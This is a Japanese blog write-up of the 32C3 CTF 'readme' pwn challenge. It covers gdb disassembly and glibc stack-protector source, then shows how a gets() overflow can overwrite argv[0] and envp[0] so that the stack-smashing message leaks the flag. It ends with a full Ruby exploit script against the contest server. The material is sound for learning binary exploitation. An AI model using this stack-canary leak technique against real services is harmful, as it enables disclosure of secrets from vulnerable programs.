Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

32c3ctf readme(pwn200)

開催期間中には解けなかったが,某プロに解法を伝授していただいので,整理するために自分なりのwriteupを書きました.某プロもおっしゃっていましたがtrivia + pwnな感じの問題でした.

問題文

Can you read the flag? nc 136.243.194.62 1024

下調べ

$ file readme.bin
readme.bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped

$ checksec --file readme.bin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   readme.bin

ここで抑えとくべき事柄は,Canary found(=SSP有効), No PIE(=実行ファイルの配置アドレスがランダム化されていない)という点である.

プログラム概要

  • 二回の標準入力を受け付ける(gets/getc)
  • memset関数を使って上書きされてしまう部分にFLAGがある
  • 上書き範囲は,入力長などによって変化する

プログラム解析

strippedなバイナリなので無難にstartで動かし始めた.(gdb-pedaを使っています)

=> 0x4006d0:    sub    rsp,0x8
   0x4006d4:    mov    rdi,QWORD PTR [rip+0x200665]        # 0x600d40 <stdout>
   0x4006db:    xor    esi,esi
   0x4006dd:    call   0x400660 <setbuf@plt>
   0x4006e2:    call   0x4007e0
   0x4006e7:    xor    eax,eax
   0x4006e9:    add    rsp,0x8
   0x4006ed:    ret

main関数内には,怪しそうな部分はない.そこでcall 0x4007e0の中が怪しいと考え,ここを進む

   0x4007e0:    push   rbp
   0x4007e1:    mov    esi,0x400934
   0x4007e6:    mov    edi,0x1
=> 0x4007eb:    push   rbx
   0x4007ec:    sub    rsp,0x118
   0x4007f3:    mov    rax,QWORD PTR fs:0x28
   0x4007fc:    mov    QWORD PTR [rsp+0x108],rax
   0x400804:    xor    eax,eax

ここで[rsp+0x108]のところにraxもといfs:0x28が格納されていることがわかる.これはSSPを有効にした際に現れるCanaryである.x86_64では,fs:0x28(x86だとgs:0x14)となっている.再度処理を進める.

   0x400804:    xor    eax,eax
   0x400806:    call   0x4006b0 <__printf_chk@plt>
   0x40080b:    mov    rdi,rsp
=> 0x40080e:    call   0x4006c0 <_IO_gets@plt>
   0x400813:    test   rax,rax
   0x400816:    je     0x40089f
   0x40081c:    mov    rdx,rsp
   0x40081f:    mov    esi,0x400960

上記より,このプログラムには脆弱性を生むgets関数が使われている.そこでCanaryの必要性がようやくでてくる.Canaryは関数からreturnする前に値が上書きされていないかを検証する.もし上書きされてしまっていたらプログラムを強制終了させる.

ためしにgets関数で大きな文字列を読み込ませると以下のような表示がでる.(ローカル環境)

*** stack smashing detected ***: ./readme.bin terminated
zsh: abort (core dumped)  ./readme.bin

しかし, リモート先で行っても,これが表示されなかった.この点からこの出力周りが怪しいと判断する.

実は,このエラー出力時に利用された__stack_chk_failという関数が重要になってくる. __stack_chk_failという関数は,glibcのdebug/stack_chk_fail.cに書かれているので中身を見てみる.

__stack_chk_fail (void)
{
    __fortify_fail ("stack smashing detected");
}

実際には,内部で__fortify_failという関数を呼んでいることがわかる.したがって,さらにこの関数の中身を見てる.

__fortify_fail (msg)
 const char *msg;
{
/* The loop is added only to keep gcc happy.  */
while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
    msg, __libc_argv[0] ?: "<unknown>");
}

そうすると,libc_argv[0]を出力していることがわかる.このlibc_argv[0]は,名前は違えど普通のargv[0]と同じだ.元に,先ほどのエラー出力では,プログラム名がでていた.

しかしfortify_failの中には,**libc_message**という関数があるので,見てみる.

__libc_message (int do_abort, const char *fmt, ...)
{
   va_list ap;
   va_list ap_copy;
   int fd = -1;
 
   va_start (ap, fmt);
   va_copy (ap_copy, ap);
 
 #ifdef FATAL_PREPARE
  FATAL_PREPARE;
 #endif
 
  /* Open a descriptor for /dev/tty unless the user explicitly
   requests errors on standard error.  */
   const char *on_2 = __secure_getenv ("LIBC_FATAL_STDERR_");
   if (on_2 == NULL || *on_2 == '\0')
     fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY); // ①
   if (fd == -1)
     fd = STDERR_FILENO; // ②

ここでファイルディスクリプタと思われるfd変数の処理が少し特殊になっていることに気づく.まず初期値としてfdには-1が入る.次にsecure_getenv("LIBC_FATAL_STDERR")の戻り値がNULL | '¥0'のときには,fdには/dev/ttyへのパスPATH_TTYが入る.さらにfdが初期値の-1のままであれば,標準エラー出力を表すマクロSTDERR_FILENO(=2)をfdに代入する.

つまり今回リモート先でSSPのエラー出力がでなかったのは,サーバ側の/dev/ttyに流れてしまっていたためだと考えられる.

ここまでの話を整理すると以下のようになる.

  • SSPが有効なためCanaryが存在する
  • BufferOverflowを検出すると, __stack_chk_fail関数が呼ばれる
  • stack_chk_failを実行すると,内部のfortify_failが実行される.
  • fortify_failが実行されると,さらに内部のlibc_messageが実行される
  • _libc_messageでは,argv[0]を引数にとってエラー出力をする.しかしLIBC_FATAL_STDERRに値がセットされていない状態だと/dev/ttyにエラー出力を流してしまう

攻撃手法

上記の話を考えると,libc_messageでargv[0]の値は出力されることから,argv[0]にフラグ文字列が格納されているアドレスを入れ,さらにLIBC_FATAL_STDERR_になんらかの値をセットした状態でBuffer Overflow検知のstack_chk_fail関数を呼び出せば良い.

そこでまずはFLAG文字列のアドレスを確認する.これはmemset関数で上書きする時に引数として撮っているので以下のようにgdbを進めていけば自ずとわかる.

   0x400868:    xor    esi,esi
   0x40086a:    sub    edx,ebx
   0x40086c:    add    rdi,0x600d20
=> 0x400873:    call   0x400670 <memset@plt>
   0x400878:    mov    edi,0x40094e
   0x40087d:    call   0x400640 <puts@plt>
   0x400882:    mov    rax,QWORD PTR [rsp+0x108]
   0x40088a:    xor    rax,QWORD PTR fs:0x28
Guessed arguments:
arg[0]: 0x600d20 ("32C3_TheServerHasTheFlagHere...")
arg[1]: 0x0 
arg[2]: 0x20 (' ')

FLAGのアドレス = 0x600d20

しかし,実のところこのアドレスはバイナリが実行されるときに再配置されたアドレスとなっている.つまりメモリ上には,もう1つFLAG文字列が格納されているアドレスが存在することになる.実は,x86_64バイナリにおいてマッピングは0x400000から行われることになっている.このマッピング後に.dataセクション0x600000にマッピングし直す処理が行われる.  マッピングリンカスクリプトを参照して実行される.このマッピング方法やエントリポイントといった情報はld --verboseで確認することができる.

$ ld --verbose
~~~~~skip~~~~~
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;

マッピング後には,フラグ文字列は.dataセクションの0x600d20にあり,マッピング前は,0x400d20にあると考えられる.そこで0x400d20の中身を表示してみると以下のようになる.

gdb-peda$ x/bs 0x400d20
0x400d20:       "32C3_TheServerHasTheFlagHere..."
gdb-peda$ x/bs 0x600d20
0x600d20:       "32C3_TheServerHasTheFlagHere..."

①argv[0]に0x400d20を格納する

次にLIBC_FATAL_STDERR_に何かしらの値をセットすることを考える.ここでC言語の構造を利用することができる. 教科書的なC言語の本においては,main関数の書き方は以下のコードが典型パターンであると記述されていることが多い.

int main(int argc, char** argv){ return 0;}

しかし実際には,argvの後に,環境変数について引数をとることができる.そこで以下のようなプログラムを作成した.

int main(int argc, char **argv, char **envp){
    printf("[0] %s¥n", envp[0]);
    return 0;
}

これを実行すると,以下のようになり環境変数の1番最初の値を得ることができる.

[0] EDITOR=emacs

envp[0]には,環境変数の"名前=値"という情報が入っている.そこでenvp[0]の値を"LIBC_FATAL_STDERR_=ANYTHING"にすれば良い. このプログラムには,2回の標準入力がある.1個目はBuffer Overflowさせるために使うので,2個目のgetc周辺を見てみると以下のようになっていた.

   0x40083f:    call   0x4006a0 <_IO_getc@plt>
   0x400844:    cmp    eax,0xffffffff
   0x400847:    je     0x40089f
=> 0x400849:    cmp    eax,0xa
   0x40084c:    je     0x400860
   0x40084e:    mov    BYTE PTR [rbx+0x600d20],al
   0x400854:    add    rbx,0x1
   0x400858:    cmp    rbx,0x20

着目すべきは,mov BYTE PTR [rbx + 0x600d20], alである.getcの戻り値は入力した文字の1文字目がeaxに格納されるので,この命令を実行すると0x600d20から順番に1文字ずつ格納されることになる.(rbxの値は最初0であった).cmp rbx, 0x20より32文字以内であれば0x600d20から順番に書き込むことができるとわかる.つまりenvp[0]のアドレスを0x600d20にしてしまえば,標準入力から1つ目の環境変数の値を自由にセットできる.

②envp[0]に0x600d20を格納する

次に,必要なargv[0],envp[0]のアドレスを調べる. この方法はmain関数の引数がスタックにどう積まれるかを知っていれば探すのは容易い.引数は後ろから順番にスタックにPUSHされていく.さらにargvとenvpには境目を記しであるNULLが入っている.この2点に着目してみていく.startで実行していることからargcは1, argv[0]にはプログラム名,区切りのNULLがある箇所を発見できるはずだ.もちろんこの話はgetsにブレークポイントを貼って考える.

gdb-peda$ b *0x40080e
gdb-pead$ r
~~~skip~~~

gdb-peda$ x/80gx $rsp
~~~skip~~~

0x7fffffffea30: 0x00007fffffffea38      0x000000000000001c
0x7fffffffea40: 0x0000000000000001      0x00007fffffffec7d
0x7fffffffea50: 0x0000000000000000      0x00007fffffffecaa
0x7fffffffea60: 0x00007fffffffecb7      0x00007fffffffeccc
0x7fffffffea70: 0x00007fffffffeced      0x00007fffffffed00
0x7fffffffea80: 0x00007fffffffed11      0x00007fffffffed21
0x7fffffffea90: 0x00007fffffffed38      0x00007fffffffed61
0x7fffffffeaa0: 0x00007fffffffee6a      0x00007fffffffee90

gdb-peda$ x/s 0x00007fffffffec7d
0x7fffffffec7d: "/home/vagrant/all/CTF/32C3/readme/readme.bin"
gdb-peda$ x/s 0x00007fffffffecaa
0x7fffffffecaa: "EDITOR=emacs"

したがってアドレスが以下のようにわかった.

  • 0x7fffffffea40 -> argcのアドレス
  • 0x7fffffffea48 -> argv[0]のアドレス
  • 0x7fffffffea50 -> NULL
  • 0x7fffffffea58 -> envp[0]のアドレス

必要なアドレスがわかった後は,そのアドレスに必要な値を格納するようにBuffer Overflowさせれば良い.Canaryのアドレスが$rsp+0x108より0x7fffffffe938のことから,Canaryからargcのアドレスまでのオフセットは,

gdb-peda$ p/x 0x7fffffffea40 - 0x7fffffffe940
$1 = 0x100

0x100であることがわかる.

Exploit code

いままでのことを踏まえてexploit.rbを作成した.

# coding: ascii-8bit

# Thank you for @Charo_IT !!
# https://github.com/Charo-IT/pwnlib.git
require_relative '../../pwnlib.rb'

def p64(hex)
  [hex].pack('Q')
end

host = "136.243.194.62"
port = 1024

PwnTube.open(host, port) do |tube|

  # tube.debug = true
  flag = 0x600d20                     # 32C3_TheServerHasTheFlagHere...

  payload = ""
  payload << "A" * 0x108              # Buffer Overflow
  payload << p64(0xdeadbeeffeedface)  # 0x7fffffffe938 = Canary
  payload << "B" * 0x100              # 0x7fffffffea40 ~ 0x7fffffffe940 = 0x100
  payload << p64(1)                   # 0x7fffffffea40 = argc
  payload << p64(flag - 0x200000)     # 0x7fffffffea48 = argv[0]
  payload << p64(0)                   # 0x7fffffffea50 = NULL (delimiter of argv)
  payload << p64(flag)                # 0x7fffffffea58 = envp[0]
  payload << "\n"
  
  tube.recv_until("? ")               
  tube.send(payload)

  tube.recv_until(": ")
  tube.send("LIBC_FATAL_STDERR_=hoge\n") # Set LIBC_FATAL_STDERR_
  puts tube.recv.match(/(32C3_.*) /)[1]  # FLAG

end

このスクリプトを実行すると以下のようにフラグが得られた.

ruby exploit.rb
[*] connected
32C3_ELF_caN_b3_pre7ty_we!rd...
[*] connection closed